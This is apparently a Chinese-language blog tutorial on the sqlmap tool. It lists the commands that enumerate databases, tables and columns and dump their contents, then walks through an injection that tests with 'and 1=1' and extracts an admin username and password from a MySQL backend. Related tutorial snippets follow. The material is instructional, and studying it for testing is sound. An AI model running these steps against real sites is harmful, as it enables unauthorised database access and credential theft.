sqlmap是乙個自動化的sql注入工具,其主要功能是掃瞄,發現並利用給定的url的sql注入漏洞。
目前支援的資料庫是mysql,oracle,postgresql,microsoft sql server,microsoft acess,ibm db2,sqllite,firebird,sybase和sap maxdb……
sqlmap採用幾種獨特的sql注入技術,分別是盲推理sql注入,union查詢sql注入,對查詢和盲注。
其廣泛的功能和選項包括資料庫指紋,列舉,資料庫提取,訪問目標檔案系統,並在獲取完全操作許可權時實行任意命令。
1、檢查注入並查詢相關資訊
sqlmap -u "url"
2、查詢資料庫
sqlmap -u "url" --dbs
3、根據庫名查表名
sqlmap -u "url" -d 庫名 --tables
4、根據表明查字段
sqlmap -u "url" -d 庫名 -t 表名 --columns
5、根據字段查資訊
sqlmap -u "url" -d 庫名 -t 表名 -c 字段 --dump
首先,使用原始方法 and 1=1、and 1=2對頁面進行sql注入判斷:
當輸入 and 1=1時,頁面正常,and 1=2時,頁面報錯,基本斷定存在sql注入。
再使用sqlmap進行滲透:
檢查sql注入及相關資訊
掃瞄結果:
結果顯示:
注入型別為「boolean-based blind(布林型盲注型別)」,即可根據返回頁面判斷條件真假;
資料庫是mysql,版本是5.0.12及以上;
平台是windows,後台是 php(5.4.45) + apache(2.4.23)
查詢資料庫
查詢結果:
結果顯示:
該後台總共有3個資料庫,其中information_schema表是mysql的配置庫,且不與理會,只需要對另外兩個資料庫進行探測。
根據庫名查表資訊
sqlmap -u 「url」 -d 庫名 --tables
查詢結果:
結果顯示:
test庫為空;
maoshe庫中有4張表,繼續對其中的admin表進行查詢。
根據表名查字段
sqlmap -u 「url」 -d 庫名 -t 表名 --columns
查詢結果:
結果顯示:
admin表中有3個字段:id、username、password
繼續根據字段查詢使用者名稱和密碼
根據字段查資訊
sqlmap -u 「url」 -d 庫名 -t 表名 -c 字段 --dump
查詢結果
繼續查password欄位中的資訊
查詢結果:
結果顯示:使用者名為 admin,密碼為 hellohack。
至此,注入結束,拿到賬戶資訊。
學習整理,若有問題請指出
使用sqlmap進行SQL注入檢測
首先我們需要訪問自己的專案,找到乙個需要檢測的url,這個url需要對應後台的處理,這個url對應的後台需要接收引數,並且會將我們的引數作為sql的一部分去資料庫進行查詢之類的操作。如 我們有個鏈結 使用python sqlmap.py u batch 這裡 batch表示不需要使用者輸入,使用預設...
SQL注入之Sqlmap使用
我們都知道,對於網路滲透最重要的一步是要拿到後台資料庫管理員的密碼與使用者名稱,那麼怎麼得到這個使用者名稱和密碼呢?就要用到今天所說的sqlmap,它不僅適用於內網環境,在外網環境也是非常受歡迎的,並且在kali linux裡邊顯得尤為重要,它所到之處幾乎是 寸草不生 那麼接下來我就簡單介紹下sql...
41 注入篇 注入工具SQLmap使用
sqlmap是一種開源的滲透測試工具,可以自動檢測和利用sql注入漏洞以及接入該資料庫的伺服器。它擁有非常強大的檢測引擎 具有多種特性的滲透測試器 通過資料庫指紋提取訪問底層檔案系統並通過外帶連線執行命令。支援的資料庫 mysql,oracle,postgresql,microsoft sql se...